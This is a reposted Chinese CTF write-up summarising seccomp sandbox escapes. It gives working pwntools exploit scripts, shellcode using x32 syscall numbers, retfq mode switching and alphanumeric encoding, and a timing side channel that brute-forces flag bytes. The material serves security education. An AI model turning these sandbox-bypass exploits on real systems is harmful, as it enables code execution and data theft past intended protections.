Sandbox总结

渗透技巧 8个月前 admin
199 0 0

01

最简单的沙盒(orw)

zyy@zyy-virtual-machine:~/pwn$ seccomp-tools dump ./orw  line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW

WP

#open(系统调用号为5)    #sys_open(file,0,0)xor ecx,ecx;xor edx,edx;push 0x0;        #字符串以x00结尾push 0x67616c66; #flagmov ebx,esp;      #此时esp指向'flag',将'flag'赋值给ebxmov eax,0x5;            int 0x80;
#read(系统调用号为3)    #sys_read(3,0x0804A0A0,0x40)mov ebx,0x3;      #文件描述符fd:是文件描述符0123,代表标准的输出输入和出错,其他打开的文件mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址mov edx, 0x40;  mov eax, 0x3;        int 0x80;
#write(系统调用号为4)    #sys_write(1,0x0804A0A0,0x40)mov ebx, 0x1;      #文件描述符fd:是文件描述符0123,代表标准的输出输入和出错,其他打开的文件mov ecx, 0x0804A0A0;mov edx, 0x40;mov eax, 0x4;int 0x80;
from pwn import *
context(os = "linux", arch = "i386", log_level= "debug")sh = remote("node3.buuoj.cn", 27008)
shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')shellcode += asm('mov eax,0x3;mov ecx, 0x0804A0A0;mov ebx,0x3;mov edx,0x40;int 0x80')shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')sh.sendlineafter('shellcode:', shellcode)
sh.interactive()

WP_again

from pwn import *
context(log_level='debug', arch='i386', os='linux')sh = remote("node3.buuoj.cn", 27008)save_to = 0x804a040
payload = shellcraft.i386.open('flag.txt')payload += shellcraft.i386.read(0x3, save_to, 0x40)payload += shellcraft.i386.write(0x1, save_to, 0x40)sh.recvuntil(b'shellcode:')sh.sendline(asm(payload))
print(sh.recv())

02

调用32位的BPI(64位程序)

题目流程

int __cdecl main(int argc, const char **argv, const char **envp){  sandbox(argc, argv, envp);  hello();  vulnerable();  return 0;}
ssize_t vulnerable(){  char buf[32]; // [rsp+0h] [rbp-20h] BYREF
 return read(0, buf, 0x40uLL);}
Sandbox总结

32位BPI相关定义

我们虽然不能使用64位下的execve系统调用,但是我们可以让64位程序使用32位的BPI调用execve

相关宏定义如下:

/* * x32 syscall flag bit.  Some user programs expect syscall NR macros * and __X32_SYSCALL_BIT to have type int, even though syscall numbers * are, for practical purposes, unsigned long. * * Fortunately, expressions like (nr & ~__X32_SYSCALL_BIT) do the right * thing regardless. */#define __X32_SYSCALL_BIT  0x40000000

所以我们只要在所需的系统调用号上加上0x40000000,就可以用32位模式调用64位调用号,例如:我们希望使用execve,那我们在对rax赋值的时候就可以把原来的59改成0x4000003b(0x40000000+59)。

WP

from pwn import *
sh = process("./shellcode")context(log_level = 'debug', arch = 'amd64', os = 'linux')elf = ELF('./shellcode')libc = ELF('./libc-2.31.so')
pop_rdi = 'nop;nop;nop;nop;nop;pop rdi;pop rdi;ret'    # len(pop_rdi) = 8system = 'nop;xor esi,esi;xor edx,edx;mov rax,0x4000003b;syscall;nop;nop'  # len(system) = 16jump_rsp = 0x400685    # jump rsp;sub_rsp = 'sub rsp,0x30;jmp rsp'puts_plt = elf.plt['puts']puts_got = elf.got['puts']main = 0x40068Aret = 0x40044e
sh.recvuntil("Hello ctfer!nWelcome to the stackoverflow!!nCan u pwn me?")payload = asm(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)payload += p64(0) + p64(jump_rsp) + asm(sub_rsp)sh.send(payload)sh.recv()puts_addr = u64(sh.recv(6) + b'x00'*2)print('puts_addr:' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']str_bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
sh.recvuntil("Hello ctfer!nWelcome to the stackoverflow!!nCan u pwn me?")print(len(asm(system)))payload = asm(pop_rdi) + p64(str_bin_sh) + asm(system)payload += p64(jump_rsp) + asm(sub_rsp)sh.send(payload)
sh.interactive()

虽然攻击流程比较简单,但是细节还是挺多的

注意以下几点:


  1. 在构造汇编代码的时候要注意对齐,大小应该是8的整数倍

  2. 由于溢出空间不足,所以我们需要依靠rsp来实现程序流的控制(初始的时候rsp是指向buf的开始位置的)

  3. 注意rsp的动态变化,这就是为什么一开始要进行两次pop rdi的操作

  4. 注意rsp存储的应该是汇编指令的地址,而不是其实际的值

补充:

在攻击成功之后,我们使用ls命令或者是cat命令时会报错,而使用pwd命令或者是cd命令不会报错,这是因为前者是外部命令,后者是内部命令,而外部命令都会使用execve这个系统调用,大部分外部命令存在于bin目录下,而内部命令是系统编译进入了操作系统,所以可以使用,我们可以使用type -a <命令>来查看是否为外部命令。这道题目沙箱禁用了execve,因此对子进程也有效。

相关信息如下:

[*] Switching to interactive mode
$ ls[DEBUG] Sent 0x3 bytes:    b'lsn'[DEBUG] Received 0x1e bytes:    b'Bad system call (core dumped)n'Bad system call (core dumped)$ pwd[DEBUG] Sent 0x4 bytes:    b'pwdn'[DEBUG] Received 0x19 bytes:    00000000  2f 68 6f 6d  65 2f 7a 79  79 2f e6 a1  8c e9 9d a2  │/hom│e/zy│y/··│····│    00000010  2f 73 61 6e  64 62 6f 78  0a                        │/san│dbox│·│    00000019/home/zyy/桌面/sandbox$  
Sandbox总结

解决方案:我们可以寻找ls命令的源码并将其编译为32位的程序(gcc -m32),将其替代bin下的对应文件,或者直接装个32位的操作系统。

03

模式转换(利用retfq)

题目流程

void __noreturn start(){  signed __int64 v0; // rax  signed __int64 v1; // rax  signed __int64 v2; // rax  unsigned __int64 v3; // r10  signed __int64 v4; // rax  char *dest; // rbx  signed __int64 v6; // rax  signed __int64 len; // rax  int v8; // r12d  int i; // r13d  signed __int64 v10; // rax  signed __int64 v11; // rax  unsigned __int64 arg3[2]; // [rsp+80h] [rbp-80h] BYREF  __int16 v13; // [rsp+90h] [rbp-70h] BYREF  char v14; // [rsp+92h] [rbp-6Eh]  char v15; // [rsp+93h] [rbp-6Dh]  int v16; // [rsp+94h] [rbp-6Ch]  __int16 v17; // [rsp+98h] [rbp-68h]  char v18; // [rsp+9Ah] [rbp-66h]  char v19; // [rsp+9Bh] [rbp-65h]  int v20; // [rsp+9Ch] [rbp-64h]  __int16 v21; // [rsp+A0h] [rbp-60h]  char v22; // [rsp+A2h] [rbp-5Eh]  char v23; // [rsp+A3h] [rbp-5Dh]  int v24; // [rsp+A4h] [rbp-5Ch]  __int16 v25; // [rsp+A8h] [rbp-58h]  char v26; // [rsp+AAh] [rbp-56h]  char v27; // [rsp+ABh] [rbp-55h]  int v28; // [rsp+ACh] [rbp-54h]  __int16 v29; // [rsp+B0h] [rbp-50h]  char v30; // [rsp+B2h] [rbp-4Eh]  char v31; // [rsp+B3h] [rbp-4Dh]  int v32; // [rsp+B4h] [rbp-4Ch]  __int16 v33; // [rsp+B8h] [rbp-48h]  char v34; // [rsp+BAh] [rbp-46h]  char v35; // [rsp+BBh] [rbp-45h]  int v36; // [rsp+BCh] [rbp-44h]  __int16 v37; // [rsp+C0h] [rbp-40h]  char v38; // [rsp+C2h] [rbp-3Eh]  char v39; // [rsp+C3h] [rbp-3Dh]  int v40; // [rsp+C4h] [rbp-3Ch]  __int16 v41; // [rsp+C8h] [rbp-38h]  char v42; // [rsp+CAh] [rbp-36h]  char v43; // [rsp+CBh] [rbp-35h]  int v44; // [rsp+CCh] [rbp-34h]  __int16 v45; // [rsp+D0h] [rbp-30h]  char v46; // [rsp+D2h] [rbp-2Eh]  char v47; // [rsp+D3h] [rbp-2Dh]  int v48; // [rsp+D4h] [rbp-2Ch]
 v13 = 32;  v14 = 0;  v15 = 0;  v16 = 0;  v17 = 21;  v18 = 6;  v19 = 0;  v20 = 5;  v21 = 21;  v22 = 5;  v23 = 0;  v24 = 37;  v25 = 21;  v26 = 4;  v27 = 0;  v28 = 1;  v29 = 21;  v30 = 3;  v31 = 0;  v32 = 0;  v33 = 21;  v34 = 2;  v35 = 0;  v36 = 9;  v37 = 21;  v38 = 1;  v39 = 0;  v40 = 231;  v41 = 6;  v42 = 0;  v43 = 0;  v44 = 0;  v45 = 6;  v46 = 0;  v47 = 0;  v48 = 2147418112;  LOWORD(arg3[0]) = 9;  arg3[1] = (unsigned __int64)&v13;  v0 = sys_alarm(0x3Cu);  v1 = sys_write(1u, "---------- Shellcode ----------n", 0x20uLL);  v2 = sys_prctl(38, 1uLL, 0LL, 0LL);  v4 = sys_prctl(22, 2uLL, (unsigned __int64)arg3, v3);  dest = (char *)sys_mmap(0LL, 0x1000uLL, 7uLL, 34uLL, 0xFFFFFFFFuLL, 0LL);  v6 = sys_write(1u, "Input your shellcode: ", 0x16uLL);  len = sys_read(0, dest, 0x1000uLL);  v8 = len;  if ( dest[(int)len - 1] == 'n' )  {    dest[(int)len - 1] = 0;    v8 = len - 1;  }  for ( i = 0; i < v8; ++i )  {    if ( dest[i] <= 31 || dest[i] == 127 )    {      v10 = sys_write(1u, "Check!n", 7uLL);      goto LABEL_10;    }  }  ((void (*)(void))dest)();LABEL_10:  v11 = sys_exit_group(0);}
Sandbox总结

可以看到禁用了open这个系统调用,但是给了我们fstat这个系统调用,其调用号是0x5(在64位下是sys_fstat,在32位下是sys_open),所以我们利用shellcode的retfq进行模式转换,retfq就相当于jmp rsp; mov cs, [rsp + 0x8],cs寄存器中0x23表示32位运行模式,0x33表示64位运行模式,所以我们只需要构造push 0x23, push, retfq就可以实现模式转换。

要注意我们需要重新mmap一段新的空间给32位的shellcode使用,因为题目mmap出的空间是在栈上,而32位模式是无法解析出地址长度比自身长的64位栈地址的,会发生段错误。这里还对输入的字符做了检查,由于syscall的汇编过不了检查,所以不能用syscall,可以用xor的方式绕过手写,也可以使用alpha生成可见字符的shellcode(尽量不要用mov会生成x00这样的坏字节,用push和pop来赋值)

参考文章:

https://n0va-scy.github.io/2022/02/14/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/


https://surager.pub/_posts/2020-07-08-%E4%BB%8ESCTF2020_CoolCode%E4%B8%AD%E5%AD%A6%E4%B9%A0open%E7%A6%81%E7%94%A8%E7%9A%84seccomp%E7%BB%95%E8%BF%87/

mmap()函数的学习

函数定义:void *mmap(void *start, size_t length, int prot, int flags, int fd, off_t offsize);

参数的解释:


  1. start:指向内存开始的地址,一般为空由操作系统定义

  2. length:映射文件内容的大小

  3. port:映射区的保护方式(组合形式,一般题目都为7,即可读可写可执行):

  • PROT_EXEC:可执行

  • PROT_READ:可读取

  • PROT_WRITE:可被写入

  • PROT_NONE:不能存取

  1. flags:影响映射区域的各种特性:

  • MAP_FIXED:如果参数start所指的地址无法成功建立映射时,则放弃映射,不对地址做修正。通常不鼓励用此旗标

  • MAP_SHARED:对应射区域的写入数据会复制回文件内,而且允许其他映射该文件的进程共享

  • MAP_PRIVATE:对应射区域的写入操作会产生一个映射文件的复制,即私人的”写入时复制”对此区域作的任何修改都不会写回原来的文件内容

  • MAP_ANONYMOUS:建立匿名映射,此时会忽略参数fd,不涉及文件,而且映射区域无法和其他进程共享

  • MAP_DENYWRITE:只允许对应射区域的写入操作,其他对文件直接写入的操作将会被拒绝

  • MAP_LOCKED:将映射区域锁定住,这表示该区域不会被置换(swap)

  1. fd:文件描述符

  2. offset:文件映射的偏移量

一般用法:mmap(start, len, 7, 34, 0, 0)

攻击思路:

  1. 构造mmap和read的shellcode,开辟一块内存给32位的shellcode,并对这块区域进行写入

  2. 转换32位程序,open一下flag,注意32位寄存器和64寄存器存储的区别

  3. 转换64位程序,进行read和write


限制字符shellcode的生成

from pwn import *
shellcode_mmap_read_call = '''/*mmap(0x40404040, 0x7e, 7, 34, 0, 0)*/push 0x40404040 /*set rdi*/pop rdipush 0x7e /*set rsi*/pop rsipush 7 /*set rdx*/pop rdxxor r8, r8 /*set r8*/xor r9, r9 /*set r9*/push 0x22 /*set rcx*/pop rcxpush 9   /*set rax*/pop raxsyscall
/*read(0, 0x40404040, 0x70)*/xor rdi, rdipush 0x40404040pop rsipush 0x70pop rdxxor rax, raxsyscall
call rsi'''
f = open('mmap_read', 'wb')f.write(asm(shellcode_mmap_read_call, arch = 'amd64', os = 'linux'))f.close()
Sandbox总结

生成之后的shellcode是这样的:

Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07


也可以手写shellcode,毕竟这道题对于shellcode的字符要求还不是很严格,参考以下的文章:

https://blog.csdn.net/yongbaoii/article/details/118067019


https://n0va-scy.github.io/2022/02/14/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/


WP

from pwn import *
sh = process('./shellcode')context(log_level = 'debug', os = 'linux', arch = 'amd64')
s       = lambda data               :sh.send(data)sa      = lambda text, data         :sh.sendafter(text, data)sl      = lambda data               :sh.sendline(data)sla     = lambda text, data         :sh.sendlineafter(text, data)r       = lambda num                :sh.recv(num)ru      = lambda text               :sh.recvuntil(text)uu32    = lambda                    :u32(sh.recvuntil("xf7")[-4:].ljust(4, b"x00"))uu64    = lambda                    :u64(sh.recvuntil("x7f")[-6:].ljust(8, b"x00"))lg      = lambda s                  :sh.success('33[32m%s -> 0x%x33[0m' % (s, eval(s)))
pld = '''Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2E0r150p020n1o0N2N0Z050j2C104o1M1O3k2D2r130Z7l0h0e072k108O1l2O0q2m0q2q0Y7K0h2l134r7n068O4L07'''sh.recv()# gdb.attach(sh, 'b *0x4002ebncn')s(pld)# pause()shellcode_to_x86 = '''push 0x23push 0x40404050retfq'''
shellcode_open = '''mov esp, 0x40404200push 0push 0x67616c66mov ebx, espxor ecx, ecxmov eax,5int 0x80'''
shellcode_to_x64 = '''push 0x33push 0x40404078retfq'''
shellcode_read = '''mov rdi, 3mov rsi, 0x40404100mov rdx, 0x60xor rax, raxsyscall'''
shellcode_write = '''mov rsi, 0x40404100mov rdx, 0x60mov rdi, 1mov rax, 1syscall'''
pld = asm(shellcode_to_x86)pld = pld.ljust(0x10, b'x90')pld += asm(shellcode_open)pld += asm(shellcode_to_x64)pld = pld.ljust(0x38, b'x90')pld += asm(shellcode_read)pld += asm(shellcode_write)# gdb.attach(sh)# pause()s(pld)
sh.interactive()

WP_again

#coding:utf-8from pwn import *
context.log_level = 'debug'p = process('./shellcode')p.recvuntil("shellcode: ")
append_x86 = '''push ebxpop ebx'''shellcode_x86 = '''/*fp = open("flag")*/mov esp,0x40404140push 0x67616c66push esppop ebxxor ecx,ecxmov eax,5int 0x80mov ecx,eax'''shellcode_flag = '''push 0x33push 0x40404089retfq/*read(fp,buf,0x70)*/mov rdi,rcxmov rsi,rspmov rdx,0x70xor rax,raxsyscall
/*write(1,buf,0x70)*/mov rdi,1mov rax,1syscall'''shellcode_x86 = asm(shellcode_x86)shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')shellcode = ''append = '''push rdxpop rdx'''
# 0x40404040为32位shellcode地址shellcode_mmap = '''/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/pop rdi
push 0x7e /*set rsi*/pop rsi
push 0x40 /*set rdx*/pop raxxor al,0x47push raxpop rdx
push 0x40 /*set r8*/pop raxxor al,0x40push raxpop r8
push rax /*set r9*/pop r9
/*syscall*/push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x31],clpush 0x5fpop rcxxor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/pop rcx
push 0x40/*set rax*/pop raxxor al,0x49'''
shellcode_read = '''/*read(0, 0x40404040, 0x70)*/push 0x40404040pop rsi
push 0x40pop raxxor al,0x40push raxpop rdi
xor al,0x40push 0x70pop rdx
push rbxpop raxpush 0x5dpop rcxxor byte ptr[rax+0x57],clpush 0x5fpop rcxxor byte ptr[rax+0x58],clpush rdxpop raxxor al,0x70
'''
shellcode_retfq = '''push rbxpop rax
xor al,0x40
push 0x72pop rcxxor byte ptr[rax+0x40],clpush 0x68pop rcxxor byte ptr[rax+0x40],clpush 0x47pop rcxsub byte ptr[rax+0x41],clpush 0x48pop rcxsub byte ptr[rax+0x41],clpush rdipush rdipush 0x23push 0x40404040pop raxpush rax'''
shellcode += shellcode_mmapshellcode += appendshellcode += shellcode_readshellcode += append
shellcode += shellcode_retfqshellcode += appendshellcode = asm(shellcode,arch = 'amd64',os = 'linux')print(hex(len(shellcode)))p.sendline(shellcode)
p.sendline(shellcode_x86 + 0x29*b'x90' + shellcode_flag)p.interactive()

04

侧信道攻击(不允许write)

了解何为侧信道攻击?当题目开启了沙盒禁用了execve系统调用,那我们可以通过owr来进行攻击获取flag,但是当我们能够使用的系统调用更少了,比如我们只有open和read可用,或者是程序close(1)关闭了输出流,那我们怎么攻击呢?我们只能对flag进行逐位爆破。

如何实现爆破呢?我们通常会将flag读写到一段内存空间,然后用猜测的方法将我们每次输入的数据和flag的每一位进行比较,如果比较成功了,那么程序将进入死循环(我们可以通过time这个模块来获取时间戳的差值),比如时间超过1秒那么我们对于flag的一个字节就爆破成功,同时配上python中的try和except这两个关键字就可以实现逐位的爆破。一般这种攻击一般采用shellcode来攻击,基于二分法的攻击将更为简便。

题目流程

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  unsigned int v3; // eax  __int128 v4; // xmm0  __int128 v5; // xmm1  __int128 v6; // xmm2  __int64 v8; // [rsp+48h] [rbp-68h]  __int64 v9; // [rsp+50h] [rbp-60h]  __int128 buf; // [rsp+60h] [rbp-50h] BYREF  __int128 v11; // [rsp+70h] [rbp-40h]  __int128 v12; // [rsp+80h] [rbp-30h]  __int128 v13; // [rsp+90h] [rbp-20h]  unsigned __int64 v14; // [rsp+A0h] [rbp-10h]
 v14 = __readfsqword(0x28u);  sub_A60(a1, a2, a3);  v13 = 0LL;  v12 = 0LL;  v11 = 0LL;  buf = 0LL;  puts("Welcome to silent execution-box.");  v3 = getpagesize();  v9 = (int)mmap((void *)0x1000, v3, 7, 34, 0, 0LL);  read(0, &buf, 0x40uLL);  prctl(38, 1LL, 0LL, 0LL, 0LL);  v8 = seccomp_init(0LL);  seccomp_rule_add(v8, 2147418112LL, 2LL, 0LL);  seccomp_rule_add(v8, 2147418112LL, 0LL, 0LL);  seccomp_load(v8);  v4 = buf;  v5 = v11;  v6 = v12;  *(_OWORD *)(v9 + 48) = v13;  *(_OWORD *)(v9 + 32) = v6;  *(_OWORD *)(v9 + 16) = v5;  *(_OWORD *)v9 = v4;  ((void (__fastcall *)(__int64, __int64, __int64))v9)(3735928559LL, 3735928559LL, 3735928559LL);  return 0LL;}
Sandbox总结

这里我们看到开辟了一块起始地址是0x1000的映射段,并且会将我们写入的数据存入该映射段中,最后执行我们所写的内容,这里由于0x40小于16*8,所以不用担心程序修改我们的shellcode。

汇编(判断与跳转)

判断指令

cmp指令:cmp:


计算-的结果但是不保存,仅仅对标志位进行设置,有以下几种情况:


  • arg1 = arg2:zf = 1

  • arg1 != arg2:zf = 0

  • arg1 >= arg2:cf = 0

  • arg1 > arg2:cf = 0且zf = 0

  • arg1 <= arg2:cf = 1且zf = 1

跳转指令

1.基于特定的标志位

  • jz:为零跳转,zf = 1

  • jnz:非零跳转,zf = 0

  • jc:进位跳转,cf = 1

  • jnc:无进位跳转,cf = 0

2.基于相等性的跳转

  • je:相等跳转,zf = 1

  • jne:不相等跳转,zf = 0

3.基于无符号数比较的跳转

  • ja:大于跳转,cf = 0且zf = 0

  • jna:不大于跳转,cf = 1且zf = 1

  • jb:小于跳转,cf = 1

  • jnb:不小于跳转,cf = 0

WP

import timefrom pwn import *
context(arch = 'amd64', os = 'linux')sd = lambda data : sh.sendline(data)
ans = ''for i in range(16,17):   # range(0,8) range(8,16) range(16,17)    for ch in range(32, 127):        sh = process('./silent')        sh.recvuntil('Welcome to silent execution-box.n')        # 如果没有收取'n',那么下面就需要再次recv来收取垃圾数据        shellcode = shellcraft.amd64.pushstr("flag")        shellcode += shellcraft.amd64.linux.open('rsp',0,0)        shellcode += shellcraft.amd64.linux.read('rax', 'rsp', 17)        # 进行逐个字节的比较        shellcode += '''        loop:        cmp byte ptr[rsp+{0}], {1}        je loop        '''.format(i, ch)        payload = asm(shellcode)        # gdb.attach(sh)        sd(payload)        # pause()                start = time.time()        try:            # sh.recv()    # 收取垃圾数据            sh.recv(timeout = 2)        except:            pass        end = time.time()                if end - start > 1.5:            ans = ans + chr(ch)            success("33[0;32mflag:{0}33[0m".format(ans))            sh.close()            sleep(3)            break

需要注意的是,如果我们open的文件过多,系统会发生错误:OSError: [Errno 24] Too many open files,所以我们每次爆破的flag的字节数有限制,需要对索引进行调整,这也是这个脚本的缺陷所在。

WP_again

from pwn import *# context.log_level = "debug"context.arch = 'amd64'
def dynamite_xor(io,idx,char):    shellcode = shellcraft.amd64.pushstr("flag")    shellcode += shellcraft.amd64.linux.open('rsp',0,0)    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)    shellcode += "mov al,[rsp+{0}];xor rax,{1};".format(str(idx),str(char))    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)    payload = asm(shellcode)    io.recvuntil('Welcome to silent execution-box.')    info("33[0;34mmov al,[rsp+{0}]; xor rax, {1};33[0m".format(str(idx),chr(char)))    io.sendline(payload)
def dynamite_sub(io,idx,char):    shellcode = shellcraft.amd64.pushstr("flag")    shellcode += shellcraft.amd64.linux.open('rsp',0,0)    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)    shellcode += "mov al,[rsp+{0}];sub rax,{1};".format(str(idx),str(char))    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)    payload = asm(shellcode)    io.recvuntil('Welcome to silent execution-box.')    info("33[0;34mmov al,[rsp+{0}];sub rax,{1};33[0m".format(str(idx),chr(char)))    io.sendline(payload)
def dynamite_add(io,idx,char):    shellcode = shellcraft.amd64.pushstr("flag")    shellcode += shellcraft.amd64.linux.open('rsp',0,0)    shellcode += shellcraft.amd64.linux.read('rax','rsp',idx+1)    shellcode += "mov al,[rsp+{0}];sub rax,{1};add rax, 2".format(str(idx),str(char))    shellcode += shellcraft.amd64.linux.read('rax','rsp',1)    payload = asm(shellcode)    io.recvuntil('Welcome to silent execution-box.')    info("33[0;33mmov al,[rsp+{0}];sub rax,{1};add rax, 2;33[0m".format(str(idx),chr(char)))    io.sendline(payload)
def check_time(io):    start_time = time.time()    try:        io.recv()        io.recv(timeout=2)    except:        pass    if time.time() - start_time >= 1.5:        return True    else:        return False
def check(io,idx,char):    dynamite_sub(io,idx,char)          if check_time(io):      io1 = process('./silent')      dynamite_add(io1,idx,char)      if check_time(io1):        io1.close()        return True    return False
def main():    flag = ""    for idx in range(18):      for char in range(32,127):        io = process('./silent')        if check(io,idx,char):          flag += chr(char)          success("33[0;32mflag[{0}]:{1}33[0m".format(str(idx),chr(char)))          success("33[0;32mflag:{0}33[0m".format(flag))          break        io.close()    print(flag)
main()

原文链接:

https://rmrfsad.github.io/2022/07/16/Pwn/sandbox/

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

Sandbox总结
Sandbox总结

原文始发于微信公众号(星盟安全):Sandbox总结

版权声明:admin 发表于 2023年8月17日 上午9:53。
转载请注明:Sandbox总结 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...